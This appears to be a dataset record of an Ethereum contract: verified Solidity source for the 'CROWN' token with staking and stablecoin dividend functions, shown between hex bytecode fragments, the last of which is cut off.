ff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156118b357600080fd5b6118be338484611b65565b92915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119c657600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aeb57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611b3c57fe5b818303905092915050565b6000808284019050838110151515611b5b57fe5b8091505092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515611b8c57600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611be557600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c3e57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c9757600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ce557600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611d7357600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054019050611e4882600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2e90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611edd82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561201057fe5b505050505600a165627a7a72305820b32fbd1cbc794a2efb7021d5b349cc3ef4bfdf2d2e5376c73a9e6dca0d7760720029
|
{"success": true, "error": null, "results": {}}
| 9,359 |
0x22143217662334F073652Da5E2F1e0AE7349240c
|
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
pragma solidity ^0.8.0 ; //SPDX-License-Identifier: UNLICENSED
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint value) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override {
_transfer(_msgSender(), recipient, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract CROWN is Ownable, ERC20 {
using SafeERC20 for IERC20;
constructor(address _usdt, address _usdc) ERC20("CROWN", "CWT") {
_mint(msg.sender, 140000000 * 10 ** decimals());
usdt = _usdt;
usdc = _usdc;
stableCoinAddress = _usdt; //set default dividend token as USDT
decimalOfStableCoin = IERC20Metadata(stableCoinAddress).decimals();
}
//---------------------ERC20 extended functions---------------------
function transferTokenFrom(address sender, address recipient, uint256 amount) public onlyOwnerOrContract returns (bool) {
_transfer(sender, recipient, amount);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
require(receivers[i] == address(receivers[i]));
transfer(receivers[i], amounts[i]);
}
}
//----------------------------Staking Part-------------------------------
mapping(address => bool) public isStaking;
mapping(address => StakeInfo) public stakeInfo;
address[] internal stakeholders;
uint256 public crownPrice = 1e18; // CROWN token initial price $1 US Dollar.
uint256 public dividendRate = 4e18; // Initial dividend rate 4% of stake amount.
uint256 public decimalOfStableCoin = 1e6; // Default decimals point of USDT/USDC token
uint256 public startDate;
uint256 public endDate;
address public usdt;
address public usdc;
address public stableCoinAddress; // Current dividend token address.
struct StakeInfo {
uint256 amount;
uint256 crownReward;
uint256 dividendUSDT;
uint256 dividendUSDC;
}
//---------------------Staking Events---------------------
event DepositStake(address indexed stakeholder, uint256 amount, uint256 timestamp);
event WithdrawStake(address indexed stakeholder, uint256 amount, uint256 timestamp);
event DividendWithdrawal(address indexed from, address indexed to, uint256 amount, string symbol, uint256 timestamp);
//---------------------Modifier functions---------------------
modifier validAddress(address account){
require(account == address(account),"Invalid address");
require(account != address(0));
_;
}
modifier onlyOwnerOrContract() {
require(msg.sender == owner() || msg.sender == address(this), "Ownable: caller is not an owner or contract!");
_;
}
modifier onlyWithinStakePeriod() {
require(startDate > 0 && endDate > 0, "Invalid stake date!");
require(block.timestamp >= startDate && block.timestamp <= endDate, "Please stake in the staking period!");
_;
}
modifier onlyAfterPeriod() {
require(startDate > 0 && endDate > 0, "Invalid stake end date!");
require(block.timestamp >= endDate, "Please wait until the stake removal date!");
_;
}
//---------------------Getter functions---------------------
function totalStakes() public view returns (uint256) {
uint256 _totalStakes = 0;
for (uint256 i = 0; i < stakeholders.length; i += 1) {
_totalStakes += (stakeInfo[stakeholders[i]].amount);
}
return _totalStakes;
}
function getDividendSupply() public view returns (uint256) {
if (address(stableCoinAddress) == address(usdc)) {
return IERC20(usdc).balanceOf(address(this));
} else {
return IERC20(usdt).balanceOf(address(this));
}
}
function getUSDTBalance() external view returns (uint256) {
return IERC20(usdt).balanceOf(address(this));
}
function getUSDCBalance() external view returns (uint256) {
return IERC20(usdc).balanceOf(address(this));
}
function stakeOf(address stakeHolder) external view returns (uint256) {
return stakeInfo[stakeHolder].amount;
}
function dividendUSDTOf(address stakeHolder) external view returns (uint256) {
return stakeInfo[stakeHolder].dividendUSDT;
}
function dividendUSDCOf(address stakeHolder) external view returns (uint256) {
return stakeInfo[stakeHolder].dividendUSDC;
}
//---------------------Setter functions---------------------
function updateDividendRate(uint256 _newDividendRate) public onlyOwnerOrContract {
require(_newDividendRate > 0, "Dividend rate can not be zero!");
dividendRate = _newDividendRate;
massUpdateDividend();
}
function massUpdateDividend() internal {
for (uint256 i; i < stakeholders.length; i+=1){
address stakeholder = stakeholders[i];
updateDividend(stakeholder);
}
}
function updateCrownPrice(uint256 _crownPrice) public onlyOwnerOrContract {
require(_crownPrice > 0, "Price must be more than 0!");
crownPrice = _crownPrice;
}
function updateUSDTAddress(address addressOfUSDT) public validAddress(addressOfUSDT) onlyOwner returns (bool){
usdt = addressOfUSDT;
decimalOfStableCoin = IERC20Metadata(usdt).decimals();
return true;
}
function updateUSDCAddress(address addressOfUSDC) public validAddress(addressOfUSDC) onlyOwner returns (bool){
usdc = addressOfUSDC;
decimalOfStableCoin = IERC20Metadata(usdc).decimals();
return true;
}
function updateDividend(address stakeHolder) internal {
uint256 reward = stakeInfo[stakeHolder].crownReward;
uint256 crownReward = ((reward * dividendRate) / 1e2) / 1e18;
require(crownPrice > 0, "CROWN price can not be zero!");
if (crownReward > 0) {
uint256 dividendAmount = ((crownReward * crownPrice) / 1e18) / (1e18 / 10 ** decimalOfStableCoin);
if (address(stableCoinAddress) == address(usdc)) {
stakeInfo[stakeHolder].dividendUSDC += dividendAmount;
} else {
stakeInfo[stakeHolder].dividendUSDT += dividendAmount;
}
stakeInfo[stakeHolder].crownReward -= reward;
}
}
function updateStableCoin(string memory currency) internal {
if (keccak256(abi.encodePacked(currency)) == keccak256(abi.encodePacked("USDC"))) {
stableCoinAddress = address(usdc);
} else {
stableCoinAddress = address(usdt);
}
}
function setStakingPeriod (uint256 periodInDay) public onlyOwner returns(bool) {
startDate = block.timestamp;
endDate = startDate + (periodInDay * 1 days);
return true;
}
function addStakeholder(address stakeHolder) internal validAddress(stakeHolder) {
bool _isStaking = isStaking[stakeHolder];
if(!_isStaking) {
stakeholders.push(stakeHolder);
isStaking[stakeHolder] = true;
}
}
function removeStakeholder(address stakeHolder) internal validAddress(stakeHolder) {
bool _isStaking = isStaking[stakeHolder];
if(_isStaking){
isStaking[stakeHolder] = false;
}
}
function massWithdrawStake() public onlyOwner onlyAfterPeriod {
for (uint256 i; i < stakeholders.length; i+=1){
address stakeholder = stakeholders[i];
uint256 amount = stakeInfo[stakeholders[i]].amount;
if (amount > 0) {
withdrawStake(stakeholder, amount);
}
}
}
//-------------------------------- Main Staking Functions ---------------------------------------------
function depositStake(address stakeHolder, uint256 amount) public validAddress(stakeHolder) onlyWithinStakePeriod {
uint256 crownBalance = balanceOf(stakeHolder);
if (amount > 0) {
require(crownBalance >= amount,"Not enough token to stake!");
require(msg.sender == owner() || msg.sender == stakeHolder, "Just an admin & stakeHolder can remove stake!");
transferTokenFrom(stakeHolder, address(this), amount);
if (stakeInfo[stakeHolder].amount == 0) {
addStakeholder(stakeHolder);
}
stakeInfo[stakeHolder].amount += amount;
stakeInfo[stakeHolder].crownReward += amount;
emit DepositStake(stakeHolder, amount, block.timestamp);
}
}
function withdrawStake(address stakeHolder, uint256 amount) public validAddress(stakeHolder) onlyAfterPeriod {
if (amount > 0) {
require(stakeInfo[stakeHolder].amount >= amount, "Not enough staking to be removed!");
require(msg.sender == owner() || msg.sender == stakeHolder, "Just an admin & stakeHolder can remove stake!");
SafeERC20.safeTransfer(IERC20(address(this)), stakeHolder, amount);
stakeInfo[stakeHolder].amount -= amount;
if (stakeInfo[stakeHolder].amount == 0) {
removeStakeholder(stakeHolder);
}
emit WithdrawStake(stakeHolder, amount, block.timestamp);
}
}
function distributeDividend(string memory currency, uint256 _dividendRate, uint256 _crownUSDPrice) public onlyOwner {
assert(keccak256(abi.encodePacked(currency)) == keccak256(abi.encodePacked("USDC")) || keccak256(abi.encodePacked(currency)) == keccak256(abi.encodePacked("USDT")));
updateStableCoin(currency);
uint256 dividendSupply = getDividendSupply();
require(dividendSupply > 0, "Insufficient dividend supply!");
require(_dividendRate > 0, "Dividend rate can not be zero!");
require(_crownUSDPrice > 0, "Crown token price can not be zero!");
updateCrownPrice(_crownUSDPrice);
updateDividendRate(_dividendRate);
}
function withdrawDividend(address stakeHolder, address toAddress, string memory currency, uint256 amount) public validAddress(stakeHolder) {
assert(keccak256(abi.encodePacked(currency)) == keccak256(abi.encodePacked("USDC")) || keccak256(abi.encodePacked(currency)) == keccak256(abi.encodePacked("USDT")));
uint256 dividendAmount = 0;
uint256 dividendSupply = getDividendSupply();
require(dividendSupply >= amount && dividendSupply > 0, "Withdraw amount exceed dividend supply!");
require(msg.sender == owner() || msg.sender == stakeHolder, "Just an admin & stakeHolder can remove stake!");
if (amount > 0) {
if (keccak256(abi.encodePacked(currency)) == keccak256(abi.encodePacked("USDC"))) {
dividendAmount = stakeInfo[stakeHolder].dividendUSDC;
require(dividendAmount >= amount && dividendAmount > 0, "Withdraw amount exceed dividend balance!");
SafeERC20.safeTransfer(IERC20(usdc), toAddress, amount);
stakeInfo[stakeHolder].dividendUSDC -= amount;
} else {
dividendAmount = stakeInfo[stakeHolder].dividendUSDT;
require(dividendAmount >= amount && dividendAmount > 0, "Withdraw amount exceed dividend balance!");
SafeERC20.safeTransfer(IERC20(usdt), toAddress, amount);
stakeInfo[stakeHolder].dividendUSDT -= amount;
}
} else {
revert("Withdraw amount can not be zero!");
}
emit DividendWithdrawal(stakeHolder, toAddress, amount, currency, block.timestamp);
}
}
|
0x608060405234801561001057600080fd5b50600436106102695760003560e01c806370a0823111610151578063a9059cbb116100c3578063c606627211610087578063c6066272146104c3578063ca0ef54a146104d6578063cf2793ca146104e9578063d6a3f374146104fc578063dd62ed3e14610504578063f2fde38b1461051757610269565b8063a9059cbb1461047a578063ad2211951461048d578063bf9befb1146104a0578063c24a0f8b146104a8578063c36762c5146104b057610269565b80638da5cb5b116101155780638da5cb5b14610434578063957d77801461043c57806395d89b411461044f5780639785fac814610457578063982aae461461045f578063a457c2d71461046757610269565b806370a08231146103e0578063715018a6146103f357806375d60372146103fb5780637d81c4c11461040e57806380b383ee1461042157610269565b80632f48ab7d116101ea5780633cfd1ccc116101ae5780633cfd1ccc146103845780633e413bee1461038c57806342623360146103945780635410f365146103a757806356d961d8146103ba5780636f49712b146103cd57610269565b80632f48ab7d14610337578063313ba0c01461034c578063313ce56714610354578063340c4c3014610369578063395093511461037157610269565b806318160ddd1161023157806318160ddd146102ec57806319ac8a76146102f45780631e89d545146103095780631ee666f81461031c57806323b872dd1461032457610269565b806306fdde031461026e578063095ea7b31461028c5780630b97bc86146102ac5780631549d609146102c15780631601e641146102c9575b600080fd5b61027661052a565b604051610283919061250d565b60405180910390f35b61029f61029a3660046122c9565b6105bd565b6040516102839190612502565b6102b46105da565b6040516102839190612c26565b6102b46105e0565b6102dc6102d73660046121de565b6105e6565b6040516102839493929190612c66565b6102b461060d565b6103076103023660046123d0565b610613565b005b6103076103173660046122f2565b6107a3565b61030761088a565b61029f61033236600461228e565b6109da565b61033f610a73565b60405161028391906124d5565b6102b4610a82565b61035c610b55565b6040516102839190612c81565b6102b4610b5a565b61029f61037f3660046122c9565b610b60565b6102b4610baf565b61033f610c35565b6102b46103a23660046121de565b610c44565b6103076103b53660046122c9565b610c63565b6103076103c836600461222a565b610e2f565b61029f6103db3660046121de565b611178565b6102b46103ee3660046121de565b61118d565b6103076111a8565b61029f6104093660046121de565b611231565b61029f61041c3660046121de565b61132b565b61030761042f36600461241c565b6113dc565b61033f61144b565b61029f61044a36600461241c565b61145a565b6102766114c4565b6102b46114d3565b61033f611504565b61029f6104753660046122c9565b611513565b6103076104883660046122c9565b61158e565b61029f61049b36600461228e565b6115a4565b6102b46115f3565b6102b4611670565b6102b46104be3660046121de565b611676565b6103076104d13660046122c9565b611694565b6102b46104e43660046121de565b611829565b6103076104f736600461241c565b611847565b6102b46118ae565b6102b46105123660046121f8565b6118b4565b6103076105253660046121de565b6118df565b60606004805461053990612e8b565b80601f016020809104026020016040519081016040528092919081815260200182805461056590612e8b565b80156105b25780601f10610587576101008083540402835291602001916105b2565b820191906000526020600020905b81548152906001019060200180831161059557829003601f168201915b505050505090505b90565b60006105d16105ca61199f565b84846119a3565b50600192915050565b600c5481565b600b5481565b60076020526000908152604090208054600182015460028301546003909301549192909184565b60035490565b61061b61199f565b6001600160a01b031661062c61144b565b6001600160a01b03161461065b5760405162461bcd60e51b815260040161065290612887565b60405180910390fd5b60405160200161066a906124c5565b60405160208183030381529060405280519060200120836040516020016106919190612499565b6040516020818303038152906040528051906020012014806106fc57506040516020016106bd906124b5565b60405160208183030381529060405280519060200120836040516020016106e49190612499565b60405160208183030381529060405280519060200120145b61071657634e487b7160e01b600052600160045260246000fd5b61071f83611a57565b6000610729610a82565b90506000811161074b5760405162461bcd60e51b815260040161065290612598565b6000831161076b5760405162461bcd60e51b8152600401610652906129d6565b6000821161078b5760405162461bcd60e51b815260040161065290612657565b61079482611847565b61079d836113dc565b50505050565b60005b8251811015610885578281815181106107cf57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031683828151811061080057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161461081b57600080fd5b61087383828151811061083e57634e487b7160e01b600052603260045260246000fd5b602002602001015183838151811061086657634e487b7160e01b600052603260045260246000fd5b602002602001015161158e565b8061087d81612ec0565b9150506107a6565b505050565b61089261199f565b6001600160a01b03166108a361144b565b6001600160a01b0316146108c95760405162461bcd60e51b815260040161065290612887565b6000600c541180156108dd57506000600d54115b6108f95760405162461bcd60e51b815260040161065290612acd565b600d5442101561091b5760405162461bcd60e51b81526004016106529061294a565b60005b6008548110156109d75760006008828154811061094b57634e487b7160e01b600052603260045260246000fd5b6000918252602082200154600880546001600160a01b0390921693506007918391908690811061098b57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054905080156109c2576109c28282611694565b506109d09050600182612cdd565b905061091e565b50565b60006109e7848484611af5565b6001600160a01b038416600090815260026020526040812081610a0861199f565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905082811015610a4b5760405162461bcd60e51b81526004016106529061283f565b610a6685610a5761199f565b610a618685612e48565b6119a3565b60019150505b9392505050565b600e546001600160a01b031681565b600f546010546000916001600160a01b0391821691161415610b2557600f546040516370a0823160e01b81526001600160a01b03909116906370a0823190610ace9030906004016124d5565b60206040518083038186803b158015610ae657600080fd5b505afa158015610afa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1e9190612434565b90506105ba565b600e546040516370a0823160e01b81526001600160a01b03909116906370a0823190610ace9030906004016124d5565b601290565b60095481565b60006105d1610b6d61199f565b848460026000610b7b61199f565b6001600160a01b03908116825260208083019390935260409182016000908120918b1681529252902054610a619190612cdd565b600f546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610be09030906004016124d5565b60206040518083038186803b158015610bf857600080fd5b505afa158015610c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c309190612434565b905090565b600f546001600160a01b031681565b6001600160a01b0381166000908152600760205260409020545b919050565b816001600160a01b038116610c7757600080fd5b6000600c54118015610c8b57506000600d54115b610ca75760405162461bcd60e51b8152600401610652906127db565b600c544210158015610cbb5750600d544211155b610cd75760405162461bcd60e51b815260040161065290612993565b6000610ce28461118d565b9050821561079d5782811015610d0a5760405162461bcd60e51b8152600401610652906127a4565b610d1261144b565b6001600160a01b0316336001600160a01b03161480610d395750336001600160a01b038516145b610d555760405162461bcd60e51b8152600401610652906128fd565b610d608430856115a4565b506001600160a01b038416600090815260076020526040902054610d8757610d8784611c1d565b6001600160a01b03841660009081526007602052604081208054859290610daf908490612cdd565b90915550506001600160a01b03841660009081526007602052604081206001018054859290610ddf908490612cdd565b92505081905550836001600160a01b03167f19238c17ec71e5aaac0a7b3bf40940da594ff3a233408a985b748f3f26c7fdbf8442604051610e21929190612c58565b60405180910390a250505050565b836001600160a01b038116610e4357600080fd5b604051602001610e52906124c5565b6040516020818303038152906040528051906020012083604051602001610e799190612499565b604051602081830303815290604052805190602001201480610ee45750604051602001610ea5906124b5565b6040516020818303038152906040528051906020012083604051602001610ecc9190612499565b60405160208183030381529060405280519060200120145b610efe57634e487b7160e01b600052600160045260246000fd5b600080610f09610a82565b9050838110158015610f1b5750600081115b610f375760405162461bcd60e51b815260040161065290612b4e565b610f3f61144b565b6001600160a01b0316336001600160a01b03161480610f665750336001600160a01b038816145b610f825760405162461bcd60e51b8152600401610652906128fd565b831561110857604051602001610f97906124c5565b6040516020818303038152906040528051906020012085604051602001610fbe9190612499565b604051602081830303815290604052805190602001201415611071576001600160a01b03871660009081526007602052604090206003015491508382108015906110085750600082115b6110245760405162461bcd60e51b815260040161065290612699565b600f5461103b906001600160a01b03168786611cbb565b6001600160a01b03871660009081526007602052604081206003018054869290611066908490612e48565b909155506111039050565b6001600160a01b038716600090815260076020526040902060020154915083821080159061109f5750600082115b6110bb5760405162461bcd60e51b815260040161065290612699565b600e546110d2906001600160a01b03168786611cbb565b6001600160a01b038716600090815260076020526040812060020180548692906110fd908490612e48565b90915550505b611120565b60405162461bcd60e51b815260040161065290612563565b856001600160a01b0316876001600160a01b03167fcd83e847cd9e6fa247a6632c6f264593643cb6df75331d8bc76a33bcecc95d4986884260405161116793929190612c2f565b60405180910390a350505050505050565b60066020526000908152604090205460ff1681565b6001600160a01b031660009081526001602052604090205490565b6111b061199f565b6001600160a01b03166111c161144b565b6001600160a01b0316146111e75760405162461bcd60e51b815260040161065290612887565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000816001600160a01b03811661124757600080fd5b61124f61199f565b6001600160a01b031661126061144b565b6001600160a01b0316146112865760405162461bcd60e51b815260040161065290612887565b600e80546001600160a01b0319166001600160a01b0385811691909117918290556040805163313ce56760e01b81529051929091169163313ce56791600480820192602092909190829003018186803b1580156112e257600080fd5b505afa1580156112f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131a919061244c565b60ff16600b55600191505b50919050565b6000816001600160a01b03811661134157600080fd5b61134961199f565b6001600160a01b031661135a61144b565b6001600160a01b0316146113805760405162461bcd60e51b815260040161065290612887565b600f80546001600160a01b0319166001600160a01b0385811691909117918290556040805163313ce56760e01b81529051929091169163313ce56791600480820192602092909190829003018186803b1580156112e257600080fd5b6113e461144b565b6001600160a01b0316336001600160a01b0316148061140257503330145b61141e5760405162461bcd60e51b815260040161065290612bda565b6000811161143e5760405162461bcd60e51b8152600401610652906129d6565b600a8190556109d7611d11565b6000546001600160a01b031690565b600061146461199f565b6001600160a01b031661147561144b565b6001600160a01b03161461149b5760405162461bcd60e51b815260040161065290612887565b42600c556114ac8262015180612e29565b600c546114b99190612cdd565b600d55506001919050565b60606005805461053990612e8b565b600e546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610be09030906004016124d5565b6010546001600160a01b031681565b6000806002600061152261199f565b6001600160a01b039081168252602080830193909352604091820160009081209188168152925290205490508281101561156e5760405162461bcd60e51b815260040161065290612b95565b61158461157961199f565b85610a618685612e48565b5060019392505050565b6115a061159961199f565b8383611af5565b5050565b60006115ae61144b565b6001600160a01b0316336001600160a01b031614806115cc57503330145b6115e85760405162461bcd60e51b815260040161065290612bda565b611584848484611af5565b600080805b60085481101561166a57600760006008838154811061162757634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546116569083612cdd565b9150611663600182612cdd565b90506115f8565b50905090565b600d5481565b6001600160a01b031660009081526007602052604090206002015490565b816001600160a01b0381166116a857600080fd5b6000600c541180156116bc57506000600d